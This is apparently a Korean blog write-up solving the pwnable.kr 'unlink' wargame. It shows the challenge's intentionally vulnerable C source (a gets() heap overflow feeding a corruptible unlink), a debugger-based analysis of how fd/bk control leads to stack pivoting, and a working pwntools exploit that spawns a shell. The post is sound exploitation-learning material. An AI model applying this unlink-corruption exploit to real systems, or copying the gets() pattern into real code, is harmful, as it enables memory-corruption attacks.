반응형
첫 시작은 … unlink corruption을 검색해서 공부하면 되겠네요.
파일은 flag, intended_solution.txt, unlink/.c 이렇게 4개 있네요.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ { struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; } OBJ; void shell() { system("/bin/sh"); } void unlink(OBJ* P) { OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]) { malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; } | cs |
unlink 취약점에 대해서 공부를 하시고 오시기를 추천드립니다. @+@
이제 소스코드를 한 번 보시죠.
1 2 3 4 5 | gets(A->buf); // exploit this unlink! unlink(B); return 0; | cs |
A를 overflow 시켜서 공격을 하는 문제입니다.
우선 ABC의 구조를 좀 보겠습니다.
Heap영역의 주소를 친절하게 알려줍니다. 그리고 위에 사진을 보시다 시피
A <=> B <=> C 의 구조가 되어있는 것을 알 수 있습니다.
ABC는 모두 아래와 같은 구조로 이루어져있습니다.
pre_size |
size |
fd |
bk |
DATA |
A의 fd에는 B의 주소가 있습니다. ( 빨간색 네모 )
B의 fd에는 C의 주소가 bk에는 A의 주소가 있습니다. ( 파란색 네모 )
C의 bk값에는 B의 주소가 들어있습니다. ( 핑크 네모 )
다시 한 번 A<=>B<=>C의 구조라는 것을 알 수 있습니다.
이제 데이터를 한 번 넣어봅시다.
gets(A->buf)에 A를 8개 입력해줬습니다.
보시다시피 gets의 함수 취약점으로 인해서 B의 영역까지 침범할 수 있으며
B의 fd와 bk값을 변경할 수 있습니다. 한 번 같이 보실까요 ?
A가 입력되는 시점으로부터 21~24 입력값은 fd, 25~28까지의 입력은 bk를
덮을 것이라는 추측이 됩니다.
입력을 해봅시다. 입력은
A*20 + B*4 + C*4 로 입력하겠습니다. fd값은 B로 bk값은 C이겠죠?
unlink 내부로 들어와서 자세히 보면
unlink+6부분에 ebp+0x8은 main함수에서 unlink(B) 코드에서 인자로 들어온 B입니다.
unlink+12를 실행하고 보면 eax 값에 CCCC가 있으며, ebp-0x4에 저장합니다.
즉 bk값은 ebp-0x4에 저장됩니다.
unlink+20 부분을 보시면 ebp-0x8에는 fd값이 들어갑니다.
이로써 우리는 한 가지 알 수 있는 점은 B의 fd와 bk값을 바꿀 수 있다는 것입니다.
fd = ebp-0x8
bk = ebp-0x4
이제 그 후에 좀 더 자세히보면
+26, +29 부분에서 fd + 4에다가 bk를 넣습니다.
그 후에는 bk에다가 fd를 저장합니다.
이제 B가 unlink 된 후 A와 C의 값들을 한 번 보겠습니다.
A의 fd는 B가 아닌 C를 가리킵니다.
C의 bk는 B가 아닌 A를 가리키고 있습니다.
before unlink(B) :
after unlink(B) :
이런 구조가 되었습니다. ( 당연하겠죠? )
이제 핵심 구문을 다시 볼텐데 차근차근 봅시다.
main에 마지막 부분을 보면 평소와 다른 구조를 보입니다.
+212부분을 보시면 ecx-0x4 를 esp에 넣고 ret을 수행합니다.
즉 ecx-0x4를 리턴하기 전에 ebp-0x4를 ecx에 넣습니다.
더 거슬러 unlink 함수 내부로 가시면
ebp를 조작할 수 있습니다. 그 말은 에필로그를 통해 esp도 우리가 컨트롤을 할 수 있다는 말입니다. leave를 통해 ebp값을 esp에 넣을 수 있죠. 그리고 ret명령어가 기다립니다.
그러면 마지막 ecx-0x4 리턴되는 값도 우리의 몫이라고 볼 수 있죠. RET를 어디로 이동시킬 것이냐가 중요하겠네요 이젠
ebp-0x4 의 주소는 갈색네모이며
A의 주소는 빨간 네모입니다. ebp-0x14 부분이죠. 어디로 가실지 예상하셨죠?
(아니 왜 갑자기 ebp-0x14, ebp-0x4 뭐뭐뭐!?? 어떻게 나온거야 ?!)
프로그램 시작시 A의 주소를 알려주는 착한 주소
그리고 친절하게 입력해서 찾기 ebp-0x4 찾기
A의 시작주소와 ebp-0x4 의 차이는 0x10 차이입니다.
결과적으로 우선 페이로드를 생각해보면
`python -c 'print"쉘함수주소" + "더미12개" + "heap+12 ( A 주소 + 12 )" + "A의 주소 + 16 ( ebp-0x4 )"
로 해서 쉘 함수를 실행시키면 될 것 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * p = process("/home/unlink/unlink") p.recvuntil("here is stack address leak: ") stack = int(p.recv(10),16) p.recvuntil("here is heap address leak: ") heap = int(p.recv(10), 16) print p.recvline() payload = p32(0x080484eb) payload += "a"*12 payload += p32(heap+12) payload += p32(stack+0x10) p.send(payload) p.interactive() | cs |
tmp 여기서 flag 파일을 aaaa로 링크걸어서 했어요 @@ !
===참고하면 좋은 사이트===
반응형
'[ ★ ]Study > War Game' 카테고리의 다른 글
[Toddler's Bottle] pwnable.kr blukat (0) | 2018.08.13 |
---|---|
[Toddler's Bottle] pwnable.kr coin1 (0) | 2018.08.12 |
[Toddler's Bottle] pwnable.kr memcpy 풀이 (0) | 2017.09.16 |
[Toddler's Bottle] pwnable.kr asm 풀이 (0) | 2017.09.16 |
[Toddler's Bottle] pwnable.kr codemap 풀이 (0) | 2017.09.15 |
댓글